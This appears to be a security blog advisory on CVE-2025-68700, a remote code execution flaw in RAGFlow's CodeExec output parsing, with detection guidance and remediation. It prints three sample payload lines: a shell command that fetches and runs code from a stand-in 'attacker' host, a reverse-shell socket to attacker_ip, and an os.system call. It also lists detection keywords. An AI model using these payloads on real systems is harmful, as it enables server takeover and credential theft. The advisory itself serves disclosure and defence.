CVE-2025-68700: Critical Authenticated Remote Code Execution in RAGFlow Leading to Full Server Compromise

CVE Identification

  • CVE ID: CVE-2025-68700
  • Product: RAGFlow
  • Affected Versions: All versions prior to 0.23.0
  • Fixed Version: 0.23.0

Severity & Risk Summary

  • CVSS v3.1 Base Score: 9.8 (Critical)
  • Severity: Critical
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (any authenticated non-admin user)
  • User Interaction Required: None
  • Scope: Changed (host-level impact)

Impact: Complete server takeover, equivalent to full root-level compromise depending on service permissions.


Vulnerability Classification

  • Remote Code Execution (RCE)
  • Improper Neutralization of Input During Dynamic Code Evaluation
  • Broken Access Control
  • Sandbox Escape (Logical)

Executive Summary

CVE-2025-68700 is a severe application-logic vulnerability in RAGFlow that allows any authenticated user, even without admin rights, to execute arbitrary operating system commands on the server hosting RAGFlow.

The flaw occurs because the backend executes user-controlled output using Python’s eval() function. This output is assumed to be safe, but in reality, it can be crafted by an attacker to contain malicious Python expressions.

The attack is:

  • Easy to perform
  • Reliable
  • Repeatable
  • Silent in logs unless specifically monitored

No advanced exploitation techniques are needed. Normal application usage is enough.


Technical Root Cause Analysis

Component Involved

  • Canvas CodeExec backend logic

Intended Design

The backend attempts to:

  • Parse execution output
  • Automatically convert strings into Python objects
  • Improve usability by dynamically interpreting results

Actual Behavior

  • User-influenced stdout is passed directly to eval()
  • No sanitization or validation occurs
  • No allow-list or safe parser is used
  • Evaluation occurs in the server’s Python runtime, not a sandbox

This turns execution output into executable backend code.


Why This Is a Sandbox Bypass

Although CodeExec is presented as sandboxed:

  • Only the initial execution is restricted
  • Result parsing is not sandboxed

Attackers do not escape the sandbox.
They let the backend execute malicious code for them.

This makes the sandbox effectively irrelevant.


Exploitation Details

Preconditions

  • Valid RAGFlow user account
  • No admin or elevated permissions required
  • Access to Canvas CodeExec functionality

Exploitation Flow

  1. Attacker submits code or input to CodeExec
  2. Code produces crafted stdout
  3. Output contains malicious Python expressions
  4. Backend processes output
  5. eval() executes attacker-controlled content
  6. Commands run with RAGFlow service privileges

Conceptual Payload Examples

(Illustrative only — not exploit instructions)

__import__("os").system("whoami")
__import__("subprocess").Popen(["/bin/sh","-c","curl attacker | sh"])
__import__("socket").socket().connect(("attacker_ip",4444))

These payloads require no direct execution permission.
They rely entirely on unsafe backend evaluation.


Expanded Attack Surface

Additional backend weaknesses amplify impact:

  • Internal APIs missing authentication
  • Incorrect permission logic (inverted allow/deny)
  • Normal users accessing privileged backend paths
  • Weak isolation between components

Together, these allow:

  • Privilege escalation
  • Configuration tampering
  • Lateral movement within the application
  • Multi-step compromise chains

Post-Exploitation Capabilities

Once exploited, an attacker can:

  • Execute arbitrary shell commands
  • Read secrets and environment variables
  • Extract API keys and credentials
  • Access databases and vector stores
  • Modify application logic
  • Establish persistence
  • Pivot to other systems

This vulnerability must be treated as full server compromise.


Detection Strategy

Application-Level Indicators

  • Python exceptions involving eval
  • Errors during output parsing
  • Unusual execution results in CodeExec logs
  • Output strings containing Python internals

Host-Level Indicators

  • Python spawning shell interpreters
  • Unexpected child processes
  • System utilities executed from app directories

Network Indicators

  • Outbound connections from RAGFlow
  • Reverse shell patterns
  • Traffic to unfamiliar IPs or ports

Suspicious Output Patterns

Flag execution output containing:

eval(
exec(
__import__(
os.system
subprocess
Popen
socket.connect

These should never appear in legitimate output parsing.


Detection Rule Guidance

Application Logic Alerts

Trigger when:

  • User output is dynamically evaluated
  • Backend invokes runtime execution during parsing

EDR / SIEM Alerts

Trigger when:

  • Python launches shell binaries
  • RAGFlow spawns unexpected processes
  • Application initiates external network connections

Relevant Log Sources

  • RAGFlow application logs
  • Python runtime logs
  • Web access logs
  • Linux audit logs
  • Process creation telemetry
  • Firewall and proxy logs

MITRE ATT&CK Mapping

  • T1059.006 – Command and Scripting Interpreter: Python
  • T1203 – Exploitation for Client Execution
  • T1068 – Privilege Escalation
  • T1105 – Ingress Tool Transfer
  • T1071 – Application Layer Protocol
  • T1046 – Network Service Discovery

Official Remediation

Required Action

Upgrade immediately to RAGFlow 0.23.0


What the Patch Fixes

  • Removes unsafe eval() usage
  • Introduces safe output parsing
  • Fixes broken access control logic
  • Restricts internal API exposure

Official Patch Link

https://github.com/ragflow/ragflow/releases/tag/v0.23.0


Risk Assessment

Any RAGFlow deployment running a vulnerable version should be considered actively exploitable.

If the application was:

  • Internet-facing
  • Used by untrusted users

Then compromise must be assumed.

Credential rotation, log review, and forensic validation are strongly recommended after patching.


Final Notes

CVE-2025-68700 is a textbook example of catastrophic risk caused by unsafe dynamic evaluation in AI-driven systems.

It reinforces a critical rule:

Execution output is untrusted input and must never be evaluated as code.

This vulnerability does not rely on edge cases — it relies on normal usage — making it one of the most dangerous classes of flaws in modern AI platforms.


Aegiron

Backed by 11+ years in cybersecurity and incident response, we decode the latest threats shaping today’s digital battlefield. This blog cuts through the noise with clear insights on vulnerabilities, emerging exploits, and the cyber news defenders can’t afford to miss.